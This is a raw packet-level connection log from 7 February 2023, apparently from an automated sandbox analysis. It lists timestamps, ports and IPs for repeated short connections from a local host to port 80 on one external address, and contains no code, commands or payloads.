Feb 7, 2023 23:09:02.277535915 CET	80	50144	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.277692080 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.280525923 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.342164040 CET	80	50144	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.344717026 CET	80	50144	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.344827890 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.465821028 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.465831995 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.526241064 CET	80	50145	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.526345015 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.527359009 CET	80	50144	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.527453899 CET	50144	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.533585072 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.594094992 CET	80	50145	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.596209049 CET	80	50145	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.596319914 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.714420080 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.715096951 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.774883032 CET	80	50145	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.774976015 CET	50145	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.776676893 CET	80	50146	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.776842117 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.779772997 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.841331005 CET	80	50146	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.843532085 CET	80	50146	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:02.843633890 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.960367918 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:02.961172104 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.021642923 CET	80	50147	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.021826982 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.021857977 CET	80	50146	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.021938086 CET	50146	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.026189089 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.086846113 CET	80	50147	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.088977098 CET	80	50147	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.089116096 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.195053101 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.196005106 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.255635023 CET	80	50147	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.256042957 CET	50147	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.258359909 CET	80	50148	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.259756088 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.260796070 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.323430061 CET	80	50148	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.325751066 CET	80	50148	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.330276966 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.479846954 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.487741947 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.542303085 CET	80	50148	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.542448997 CET	50148	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.550566912 CET	80	50149	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.553831100 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.555506945 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.618743896 CET	80	50149	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.621136904 CET	80	50149	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.621355057 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.726583958 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.727679014 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.797802925 CET	80	50150	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.798099041 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.798505068 CET	80	50149	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.798605919 CET	50149	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.798727989 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.860261917 CET	80	50150	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.862282038 CET	80	50150	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:03.863791943 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.977137089 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:03.977937937 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.037251949 CET	80	50151	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.037645102 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.038635969 CET	80	50150	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.038786888 CET	50150	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.039199114 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.098640919 CET	80	50151	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.100732088 CET	80	50151	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.101232052 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.210992098 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.212013006 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.270642042 CET	80	50151	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.270842075 CET	50151	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.273658991 CET	80	50152	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.273802042 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.274600029 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.336369991 CET	80	50152	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.338808060 CET	80	50152	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.338920116 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.444596052 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.446677923 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.506450891 CET	80	50152	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.506623030 CET	50152	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.508040905 CET	80	50153	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.508191109 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.508858919 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.570405960 CET	80	50153	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.573116064 CET	80	50153	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.573312044 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.681751966 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.682823896 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.743376017 CET	80	50154	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.743407011 CET	80	50153	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.743627071 CET	50153	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.744163036 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.744163036 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.804802895 CET	80	50154	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.807847977 CET	80	50154	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.807969093 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.914855957 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.916915894 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.975783110 CET	80	50154	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.975944996 CET	50154	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.977322102 CET	80	50155	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:04.977547884 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:04.977917910 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.038260937 CET	80	50155	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.042330980 CET	80	50155	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.042696953 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.150721073 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.150976896 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.211313009 CET	80	50155	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.211345911 CET	80	50156	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.211560011 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.211996078 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.213009119 CET	50155	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.272418022 CET	80	50156	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.274806023 CET	80	50156	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.274914980 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.385132074 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.385906935 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.445611000 CET	80	50156	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.445728064 CET	50156	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.446384907 CET	80	50157	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.446512938 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.447047949 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.508363962 CET	80	50157	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.510445118 CET	80	50157	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.510548115 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.620001078 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.633483887 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.680859089 CET	80	50157	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.681031942 CET	50157	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.695116997 CET	80	50158	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.695600986 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.696445942 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.757980108 CET	80	50158	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.761662006 CET	80	50158	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.762501001 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.868371010 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.870002985 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.930188894 CET	80	50158	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.932593107 CET	80	50159	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.932693005 CET	50158	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.932792902 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.933299065 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:05.997442007 CET	80	50159	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.999583960 CET	80	50159	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:05.999716043 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.120629072 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.121531963 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.181889057 CET	80	50160	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.183898926 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.183927059 CET	80	50159	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.188147068 CET	50159	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.194715977 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.255273104 CET	80	50160	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.257397890 CET	80	50160	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.257771969 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.380664110 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.381732941 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.440125942 CET	80	50160	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.440227985 CET	50160	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.443311930 CET	80	50161	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.443497896 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.445123911 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.506758928 CET	80	50161	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.509118080 CET	80	50161	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.509324074 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.618818045 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.622786045 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.680655956 CET	80	50161	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.681926966 CET	50161	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.685200930 CET	80	50162	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.685323000 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.685785055 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.748004913 CET	80	50162	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.750828028 CET	80	50162	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.751040936 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.866729975 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.867413998 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.926795959 CET	80	50163	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.928266048 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.929038048 CET	80	50162	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:06.930325985 CET	50162	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.937702894 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:06.997299910 CET	80	50163	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.000040054 CET	80	50163	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.000205994 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.117336035 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.118263006 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.176956892 CET	80	50163	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.177048922 CET	50163	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.180000067 CET	80	50164	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.180095911 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.186121941 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.246880054 CET	80	50164	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.250969887 CET	80	50164	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.251082897 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.536629915 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.538094044 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.598037004 CET	80	50164	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.598212957 CET	50164	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.598472118 CET	80	50165	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.598577976 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.791157007 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:07.851633072 CET	80	50165	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.854868889 CET	80	50165	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:07.854985952 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.025089979 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.025916100 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.085727930 CET	80	50165	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.086014986 CET	50165	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.086358070 CET	80	50166	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.086494923 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.121536016 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.182141066 CET	80	50166	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.184685946 CET	80	50166	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.184813976 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.337661028 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.339634895 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.398325920 CET	80	50166	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.398479939 CET	50166	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.399971008 CET	80	50167	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.401683092 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.918958902 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:08.979978085 CET	80	50167	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.983628035 CET	80	50167	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:08.984139919 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.103317976 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.103789091 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.166131020 CET	80	50167	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.166762114 CET	50167	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.166881084 CET	80	50168	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.167118073 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.197665930 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.261799097 CET	80	50168	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.261853933 CET	80	50168	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.261955023 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.453097105 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.453859091 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.514365911 CET	80	50169	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.514616966 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:09.516061068 CET	80	50168	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:09.517276049 CET	50168	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.009649038 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.072380066 CET	80	50169	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.078298092 CET	80	50169	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.078447104 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.596937895 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.597729921 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.657676935 CET	80	50169	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.657759905 CET	50169	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.658680916 CET	80	50170	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.658847094 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.682104111 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.743100882 CET	80	50170	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.745945930 CET	80	50170	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.746062994 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.867935896 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.873358965 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.928991079 CET	80	50170	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.929400921 CET	50170	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.935065985 CET	80	50171	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:10.935303926 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:10.958889961 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.020620108 CET	80	50171	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.023277998 CET	80	50171	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.023533106 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.181263924 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.182009935 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.242613077 CET	80	50172	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.242774010 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.242906094 CET	80	50171	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.243010044 CET	50171	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.243218899 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.303605080 CET	80	50172	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.306339979 CET	80	50172	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.306416988 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.414664984 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.416397095 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.475644112 CET	80	50172	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.475872993 CET	50172	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.478837013 CET	80	50173	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.478960037 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.479350090 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.541702032 CET	80	50173	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.544918060 CET	80	50173	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.545030117 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.649343014 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.650830030 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.712146997 CET	80	50173	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.712357998 CET	50173	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.712562084 CET	80	50174	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.712737083 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.713079929 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.774631977 CET	80	50174	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.777556896 CET	80	50174	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.777750015 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.887567997 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.888787985 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.949475050 CET	80	50175	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.949538946 CET	80	50174	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:11.949704885 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.949769974 CET	50174	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:11.950103045 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.010550976 CET	80	50175	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.012918949 CET	80	50175	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.013063908 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.118324995 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.123002052 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.179121971 CET	80	50175	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.179231882 CET	50175	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.184628963 CET	80	50176	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.184807062 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.185199976 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.246594906 CET	80	50176	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.250057936 CET	80	50176	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.250281096 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.367985964 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.368928909 CET	50177	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.429589987 CET	80	50177	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.429627895 CET	80	50176	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.430123091 CET	50176	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.430712938 CET	50177	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.432080030 CET	50177	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.492750883 CET	80	50177	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.495201111 CET	80	50177	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.495896101 CET	50177	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.602715969 CET	50177	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.603456020 CET	50178	80	192.168.2.7	62.204.41.4
Feb 7, 2023 23:09:12.663721085 CET	80	50177	62.204.41.4	192.168.2.7
Feb 7, 2023 23:09:12.664264917 CET	50177	80	192.168.2.7	62.204.41.4
